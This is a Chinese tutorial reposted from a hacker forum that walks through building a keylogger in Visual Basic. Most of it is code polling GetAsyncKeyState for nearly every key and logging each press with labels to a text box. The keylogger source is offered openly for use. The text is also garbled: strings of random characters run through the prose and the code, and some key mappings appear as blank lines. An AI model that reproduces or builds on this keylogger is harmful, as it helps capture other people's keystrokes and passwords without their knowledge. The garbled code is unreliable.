手把手教你做键盘记录器

韩冰

作者：小珂 转自黑基BBS原创作品版 版权归黑客基地所有， 转载请注明出处

前几天写了一篇键盘记录器，好多人反映看不懂， 3 z& `) @) B' V7 x& r0 a对新人没什么用处，所以且这篇我会写的 5 s7 _, O% B, s1 n6 g很详细，再也不像那篇，出了代码什么也没 ^!^ 这个程序将会详细的讲解如何记载键盘的每一次输入。 下面介绍的这个程序主要是利用GetAsyncKeyState函数， 8 h! h6 X1 O/ N7 ^# Q: C使用GetAsyncKeyState可以获得键盘的动作。 $ {5 C6 N: A+ mGetAsyncKeyState函数根据虚拟键表判断按键的类型。 返回值为一个16位的二进值数，如果被按下则最高位为1， / v- |$ H: s4 `即返回-32767。下面是API函数及鼠标中左右键在虚拟键表中的定义： Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer 好了，函数就先介绍这么多，下面开始动手实战了 first,当然是创建窗口了 % i" z) }8 t0 T# }- p : S _$ D6 f8 o7 l* o0 K. [* U2 S 3 G7 j$ a- A! Q6 E% t 在时间控件的Timer时间中定义检查按键类型，代码如下： ! N- ]0 u2 b; ~Dim AddKey KeyResult = GetAsyncKeyState(13) '回车键 . ] p6 n* r! h; W8 Y If KeyResult = -32767 Then ' q# A* y6 Q( N$ W5 A AddKey = "[ENTER]" GoTo KeyFound End If + x+ L r, q, Q( g, |: Q KeyResult = GetAsyncKeyState(17) 'Ctrl键 ! k8 A+ }4 j$ M, _. H If KeyResult = -32767 Then - f& z* J" P, x! n/ S( ^1 ~% A AddKey = "[CTRL]" GoTo KeyFound ! q1 }& M0 z4 R& _5 l End If KeyResult = GetAsyncKeyState(8) '退格键 5 y$ _0 ~; W0 T. _( x If KeyResult = -32767 Then AddKey = "[BKSPACE]" GoTo KeyFound End If 2 C w, f0 }; ^! ~- M KeyResult = GetAsyncKeyState(9) ( U+ N/ \9 X7 p# e( m7 V* @3 s If KeyResult = -32767 Then 4 ]; L( w Z! R AddKey = "[TAB]" GoTo KeyFound End If ' Y2 J# R5 v3 v. l KeyResult = GetAsyncKeyState(18) If KeyResult = -32767 Then AddKey = "[ALT]" * I k' U+ L: z# i, X# F GoTo KeyFound End If KeyResult = GetAsyncKeyState(19) " L! I4 L; N# ~( _4 j- e) } If KeyResult = -32767 Then 1 R6 R. _. z, _( Q' \! @6 b AddKey = "[PAUSE]" % A+ f, y: E5 b& ^; Z3 y GoTo KeyFound : D5 g. k! W1 {3 ` End If N1 X3 v2 j4 S# }: y KeyResult = GetAsyncKeyState(20) If KeyResult = -32767 Then 9 b- z# X& m7 D. c AddKey = "[CAPS]" 6 o# k i8 b3 s4 A9 g# f GoTo KeyFound End If KeyResult = GetAsyncKeyState(27) If KeyResult = -32767 Then AddKey = "[ESC]" ( u* @; c! K& \1 d" `$ g GoTo KeyFound End If / q7 t8 ?' M/ s5 H. l KeyResult = GetAsyncKeyState(33) 6 |! {5 _9 {, s, n! b2 R# n If KeyResult = -32767 Then AddKey = "[PGUP]" 2 j* {$ J8 p5 k1 l( Y7 S GoTo KeyFound * A T( @* O& a End If KeyResult = GetAsyncKeyState(34) # g- ~1 f. d2 ?$ K* K5 J If KeyResult = -32767 Then AddKey = "[PGDN]" GoTo KeyFound 8 u \4 E: S o* ~9 x" x End If 1 b3 K( Z Z6 o; S0 ~( \ KeyResult = GetAsyncKeyState(35) 7 `1 {: h/ Z9 Z( Q5 I If KeyResult = -32767 Then AddKey = "[END]" GoTo KeyFound End If KeyResult = GetAsyncKeyState(36) 1 ^) h/ y# z2 e" p; u5 N If KeyResult = -32767 Then $ ~: i7 e6 T3 j; P. y3 k4 u AddKey = "[HOME]" % c" J2 A: `; C3 }: ~( {9 J; ? GoTo KeyFound End If 4 n" B2 i) |& h l" `9 G8 m8 R KeyResult = GetAsyncKeyState(44) If KeyResult = -32767 Then AddKey = "[SYSRQ]" 8 J$ ]" [5 }& y- h4 |( ^( W GoTo KeyFound . e, D1 i' _& p8 r End If KeyResult = GetAsyncKeyState(45) 2 y' B/ G' m5 x3 A O If KeyResult = -32767 Then AddKey = "[INS]" GoTo KeyFound End If KeyResult = GetAsyncKeyState(46) If KeyResult = -32767 Then AddKey = "[DEL]" GoTo KeyFound 3 Y, \% X Y2 G1 L$ U. B2 } End If M0 @) ]! ]/ |$ Q8 w( x ! x1 x2 p7 H+ J6 w9 k KeyResult = GetAsyncKeyState(144) If KeyResult = -32767 Then $ Z2 i3 n! v/ C% f, E, V$ b AddKey = "[NUM]" GoTo KeyFound End If " R+ d6 m: ?5 n. a# [ 8 P& Y- R9 {, ~# T- ^% R6 _0 h KeyResult = GetAsyncKeyState(37) * C% ~: M' V0 d If KeyResult = -32767 Then AddKey = "

" % t) X# ^' v' E Z8 @ GoTo KeyFound End If + ?0 T: N# k/ c' e9 n' Q6 z8 r KeyResult = GetAsyncKeyState(38) L5 ~% H5 o- S$ R3 L8 z/ H' Q6 k! k If KeyResult = -32767 Then AddKey = "[UP]" GoTo KeyFound End If ; n6 u& u0 y" d0 V. N KeyResult = GetAsyncKeyState(39) If KeyResult = -32767 Then 6 `) P1 w2 U- D6 ]% [ AddKey = "

" ) S9 k* X& h& p& f; ? GoTo KeyFound End If - B* Z$ H: C! t9 q! u0 I6 @$ P KeyResult = GetAsyncKeyState(40) If KeyResult = -32767 Then AddKey = "[DOWN]" GoTo KeyFound . O, {8 p7 n/ L. j) {. Z End If : L8 `, |& h* c& h V/ O3 m ! ~7 Y+ C) Q5 m6 c9 o) H7 ^& H + f( f; a% s7 ~ k; b! b0 X" `KeyResult = GetAsyncKeyState(112) 4 A7 v$ Y+ M) _& \; E5 z If KeyResult = -32767 Then ( N4 ?% ?( w0 m1 E1 V# c& T* m AddKey = "[F1]" 0 E' F/ Q( t. m GoTo KeyFound End If . y6 |8 G& N% _; K$ hKeyResult = GetAsyncKeyState(113) If KeyResult = -32767 Then AddKey = "[F2]" GoTo KeyFound End If 0 Y+ \, ]9 c4 I' a) kKeyResult = GetAsyncKeyState(114) If KeyResult = -32767 Then AddKey = "[F3]" 6 j* E! d7 J# C! j# u4 u9 V9 y GoTo KeyFound End If / _% r: j0 U5 @. v6 [2 \ , |% d0 \$ k# j% ^8 b( G1 i) CKeyResult = GetAsyncKeyState(115) # H; c6 F( S$ j2 c8 n If KeyResult = -32767 Then 9 F9 s9 m' U' q+ V1 } AddKey = "[F4]" 2 d# I- D9 W* m' R* G GoTo KeyFound 4 [/ U! s8 j) n' F End If - S7 `( g. x7 z' g, dKeyResult = GetAsyncKeyState(116) , ]( h$ _; o8 k! Q If KeyResult = -32767 Then / ^2 K: @3 A Z0 X/ ?5 c, C/ D AddKey = "[F5]" 4 S* F! O; \- z. _& m. x2 M4 R1 g GoTo KeyFound End If 7 R0 J% X2 Z# n) A" h 6 H: P' I' N' @$ pKeyResult = GetAsyncKeyState(117) ! Q r3 n" y9 u If KeyResult = -32767 Then AddKey = "[F6]" 9 W2 D5 X3 b& T0 J: V GoTo KeyFound 2 e% G) L6 b. a+ z End If ; h6 Q0 e# e' v- ^6 a) D 7 k7 I" M9 i" n# kKeyResult = GetAsyncKeyState(118) " K& P9 h4 d6 ^0 l6 Y If KeyResult = -32767 Then 7 t9 U: S5 M8 @9 J5 f AddKey = "[F7]" 1 u$ ]6 \: C3 J GoTo KeyFound End If 4 g. L- y4 Q: F' ^; R: J' ?3 h KeyResult = GetAsyncKeyState(119) - R1 X1 d$ G8 t If KeyResult = -32767 Then " S/ X7 y( j5 x i; P" p AddKey = "[F8]" GoTo KeyFound ! b* @) b/ P3 K; Y End If KeyResult = GetAsyncKeyState(120) / ]; C2 d9 o3 W& D o If KeyResult = -32767 Then AddKey = "[F9]" 1 p& X0 m1 I# W( ~ GoTo KeyFound End If ' f( z3 C+ C4 ^) V9 i% [+ dKeyResult = GetAsyncKeyState(121) If KeyResult = -32767 Then AddKey = "[F10]" GoTo KeyFound End If ' `0 d k: R8 R0 X4 b KeyResult = GetAsyncKeyState(122) If KeyResult = -32767 Then ( L" ^$ }4 E4 s/ z+ i4 } AddKey = "[F11]" GoTo KeyFound End If KeyResult = GetAsyncKeyState(123) If KeyResult = -32767 Then $ U1 F- ]" D: r- i! \ AddKey = "[F12]" GoTo KeyFound End If * y: G/ u& ?# N8 W. k& D ( ^; x7 E9 q9 |2 n( sKeyResult = GetAsyncKeyState(124) ( D5 p/ k/ ^8 D" b! g/ N' | If KeyResult = -32767 Then / f8 P, `, @+ ~3 K' z AddKey = "[F13]" GoTo KeyFound 8 t* m$ D/ U2 d# y$ ? End If 7 U& b; L2 q& A; l5 `: b, l; n 9 h y6 l( ~1 M e: G! d: gKeyResult = GetAsyncKeyState(125) If KeyResult = -32767 Then AddKey = "[F14]" ' i. w& z! j7 @% n! w GoTo KeyFound 4 T4 [0 H2 {4 W End If " M. m) o& o& |; AKeyResult = GetAsyncKeyState(126) $ r& @( E8 u5 B$ g If KeyResult = -32767 Then AddKey = "[F15]" GoTo KeyFound % e1 L# s/ l" Q8 x6 ?4 @ End If . y& j& o4 e# ~+ Z7 I KeyResult = GetAsyncKeyState(127) If KeyResult = -32767 Then AddKey = "[F16]" * @9 Z! r7 I/ k3 w2 d GoTo KeyFound 6 V) {1 G0 Y, N. B0 V: g2 t/ f End If 2 X( B! [, b: F8 ^, Q" s & _2 ?( ^8 i# ]1 w M+ ]& xKeyResult = GetAsyncKeyState(32) If KeyResult = -32767 Then AddKey = " " GoTo KeyFound ' _* J* l6 F3 C! J) o. [2 p End If KeyResult = GetAsyncKeyState(186) + U1 o7 ?% s- Y( Y1 ` If KeyResult = -32767 Then AddKey = ";" ! A7 | C: Z- a7 n5 c; Z$ W H9 H' y5 j GoTo KeyFound ( b2 ~- Z. t5 ` End If * z% Y" k* \. f1 X KeyResult = GetAsyncKeyState(187) If KeyResult = -32767 Then ' u" n, i, n% K; X AddKey = "=" GoTo KeyFound End If KeyResult = GetAsyncKeyState(188) If KeyResult = -32767 Then AddKey = "," GoTo KeyFound End If + f- R* O$ Y5 c' S" J# b) Q0 p4 B KeyResult = GetAsyncKeyState(189) If KeyResult = -32767 Then AddKey = "-" ) ]( ~/ n* {3 u5 R$ m, |6 N GoTo KeyFound End If ! k& }7 C% H' K% H" [8 ?KeyResult = GetAsyncKeyState(190) 4 A6 a) c$ z! z2 a3 h9 ^1 ?; g" C If KeyResult = -32767 Then AddKey = "." / C% }/ J0 t- q! j* Z) n- ^6 O GoTo KeyFound End If KeyResult = GetAsyncKeyState(191) ( D5 G; |' d; Y* s" H$ _( P If KeyResult = -32767 Then AddKey = "/" '/ # P$ B- y- c/ T9 ~( \/ z2 J+ G GoTo KeyFound End If n* P6 ^. O" }6 h0 b7 Z+ U4 F2 SKeyResult = GetAsyncKeyState(192) If KeyResult = -32767 Then 7 j9 M- ]; q: f1 s$ W4 h. o) B AddKey = "`" '` $ T/ w: V4 K( m+ O) ^1 S GoTo KeyFound / c* V @4 M& L7 Q! u. ] u' d# o End If ; l' b; l# u" ^' G% E0 u'----------NUM PAD 2 C# ^6 r2 P& D+ ^. qKeyResult = GetAsyncKeyState(96) ! c+ H9 ]2 u9 r# H' v- u If KeyResult = -32767 Then 2 X8 u/ n4 c: f5 b9 r AddKey = "0" GoTo KeyFound End If . ~3 R% _' b; ~0 e8 Y) A1 P/ d $ y+ m# Z1 N; G$ eKeyResult = GetAsyncKeyState(97) , B0 Z! |$ i4 S3 m7 w& y- ?8 q3 s0 u If KeyResult = -32767 Then 3 Z1 t/ u% _/ A3 N) T2 |) [ AddKey = "1" 4 N7 t( ~" M+ I2 q' X" I7 `& w GoTo KeyFound ! I. }% j6 k! j) \ End If 7 e; Y- F" s5 n9 NKeyResult = GetAsyncKeyState(98) If KeyResult = -32767 Then AddKey = "2" & H L' m4 c* k. h3 x1 A0 M( J1 ] GoTo KeyFound 4 t: c2 `( @3 @# T- H4 d# e End If ' L, k" p( e0 G1 PKeyResult = GetAsyncKeyState(99) If KeyResult = -32767 Then 7 y( d' X* g D3 f3 t5 n0 T, o AddKey = "3" GoTo KeyFound 6 r3 Q0 l' f" A; t& M. U End If 9 c' @' {4 R. u! w + ?6 {2 Z1 X* R3 D; lKeyResult = GetAsyncKeyState(100) 4 t1 S6 Q' G/ A: K If KeyResult = -32767 Then AddKey = "4" 9 h3 q& w7 g6 x1 D6 t; D2 i6 ?. l GoTo KeyFound End If # a! y0 o6 d' e. BKeyResult = GetAsyncKeyState(101) # z' P# w& o- r6 m2 L* A If KeyResult = -32767 Then AddKey = "5" GoTo KeyFound End If 5 p3 _: _% c5 O7 A5 k0 c' o. HKeyResult = GetAsyncKeyState(102) ; C7 L8 k" u0 J% b" T9 O* Q If KeyResult = -32767 Then 6 n; B7 Q. V/ |! g' T, a AddKey = "6" GoTo KeyFound $ [: k. @" v3 C' e8 t End If / ^# N& V# U5 u3 g' v ( J8 X6 ?% _% k: x6 d) dKeyResult = GetAsyncKeyState(103) If KeyResult = -32767 Then & [9 A v% u O! y AddKey = "7" GoTo KeyFound ) R8 e% ?$ M; H. P* @ End If & J. s1 G& {$ t9 Q# K! p6 t KeyResult = GetAsyncKeyState(104) 5 u4 O" O7 M. y$ g9 y If KeyResult = -32767 Then 0 J0 S' }5 o1 Y3 E AddKey = "8" GoTo KeyFound 0 q/ K' H7 Z$ Z/ Y$ L' P End If ( g" A1 U: L: C+ ? V$ sKeyResult = GetAsyncKeyState(105) If KeyResult = -32767 Then AddKey = "9" 4 \: S) y% s$ f GoTo KeyFound ! v& R/ T( l# F* E End If * ^! m) @" ?, e ) _3 W: j+ f' V* U. P+ a# `# m4 n KeyResult = GetAsyncKeyState(106) # T3 E* Z' V7 k+ m5 |7 ` If KeyResult = -32767 Then AddKey = "*" GoTo KeyFound End If ) U: B/ p9 U8 O7 v/ | KeyResult = GetAsyncKeyState(107) * Y/ Y& a/ S3 _4 |- ?) `* Y If KeyResult = -32767 Then AddKey = "+" ; }: b. R Q' z# ^& _/ i' | GoTo KeyFound % H. P) `! C' `9 u. u% @- Y End If % O' n8 i& F5 K6 A/ _9 TKeyResult = GetAsyncKeyState(108) 4 Z5 ~$ t$ [( o7 ]% c7 U) |2 f If KeyResult = -32767 Then AddKey = "[ENTER]" # m: j) X1 }8 _( \' k- e GoTo KeyFound * x7 K) g( I+ \* i End If KeyResult = GetAsyncKeyState(109) If KeyResult = -32767 Then AddKey = "-" GoTo KeyFound 6 M1 F$ A, U% q+ j, e End If KeyResult = GetAsyncKeyState(110) If KeyResult = -32767 Then AddKey = "." GoTo KeyFound + g9 f3 ?2 t( ~ End If KeyResult = GetAsyncKeyState(2) If KeyResult = -32767 Then - M, |8 O C# Z2 m C AddKey = "/" GoTo KeyFound End If " Y4 n- ^5 p, F! h# G KeyResult = GetAsyncKeyState(220) If KeyResult = -32767 Then AddKey = "\" ! k: N/ x. B$ I1 p6 p& P, K$ c: v GoTo KeyFound # }! L* I5 M. m# M3 u/ C- J T7 F8 ] End If KeyResult = GetAsyncKeyState(222) If KeyResult = -32767 Then ( z( m, g8 {' e% N" E P) ^# M AddKey = "'" , ~. E: H( F7 S( j GoTo KeyFound End If ; b" j+ A) Q \$ _: e* y. J 8 t+ _/ Z' z6 b3 `3 |4 {KeyResult = GetAsyncKeyState(221) If KeyResult = -32767 Then ! N6 c- P& d2 b AddKey = "]" # L* ^% \4 H( h; v l( y1 O - N8 T6 p# w$ i6 W/ v7 q GoTo KeyFound End If % Q) Z+ e7 F! UKeyResult = GetAsyncKeyState(219) ; C* R: z" E7 i1 o If KeyResult = -32767 Then " o+ F; N) J* v. K+ y# \% D2 ? AddKey = "[" GoTo KeyFound ( j) K$ B& r$ B' ]( I' a* {" p2 X End If ' D, G# x: p3 w4 j9 e. O + G6 [# o3 b2 M' E9 x8 q* PKeyResult = GetAsyncKeyState(16) 'shift键 , g) k" a/ A/ p- n, Y5 o7 r: X If KeyResult = -32767 And TimeOut = 0 Then ; Q; N# t0 `$ B0 R9 i% g AddKey = "[SHIFT]" LastKey = AddKey TimeOut = 1 GoTo KeyFound ; u' X5 S3 X: X6 q! ? U" a# v End If . U# b w6 A6 n8 E) Z KeyLoop = 41 Do Until KeyLoop = 256 ' 显示其他键 KeyResult = GetAsyncKeyState(KeyLoop) If KeyResult = -32767 Then Text1.Text = Text1.Text + Chr(KeyLoop) * q9 V, H+ T/ |4 x& A3 ?6 z KeyLoop = KeyLoop + 1 q1 w5 w' @2 c* \" \2 z Loop $ M) u& \" P( s2 H2 F: q$ \1 V LastKey = AddKey ; ?+ U% Y1 o) P Exit Sub * z+ y7 A; }5 [2 W, OKeyFound: '显示键的信息 7 c L8 `9 g+ W6 ?: n" u! j. a Text1 = Text1 & AddKey B- V6 t+ l8 N7 M* ]0 wEnd Sub 8 u5 C& c9 n1 A, V' @2 P6 q4 S7 z上面的（）里面的数字实际是就是那些键的Ascii码，比如13就代表回车，17代表Ctrl，…… % z7 P3 z* }! `由于数目太多，一一列举不方便 现提供Ascii表一份供对照 " ?$ u5 _. S4 j: z2 F# g( X& E& Chttp://www.cstudy.cn/repository/ascii/default.htm 7 X- e! e" O/ B; F下面是其他的事件 - b1 X# x0 T- |) E% s ?6 E# WPrivate Sub Timer2_Timer() * Q! e7 U8 v8 b& L: b8 m1 KTimeOut = 0 End Sub 目的是随时刷新清空